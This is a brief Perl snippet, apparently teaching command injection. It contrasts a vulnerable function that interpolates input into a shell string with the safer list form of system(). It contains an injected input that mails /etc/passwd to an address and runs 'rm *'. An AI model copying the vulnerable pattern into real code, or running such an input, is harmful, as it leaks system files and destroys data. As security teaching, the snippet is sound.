bad_system('foo; mail me@me.com < /etc/passwd; rm *'); sub bad_system { my $password = shift; system("echo $password | foo -args file"); } #Uh oh! #### system("/bin/echo", "arg1", "arg2");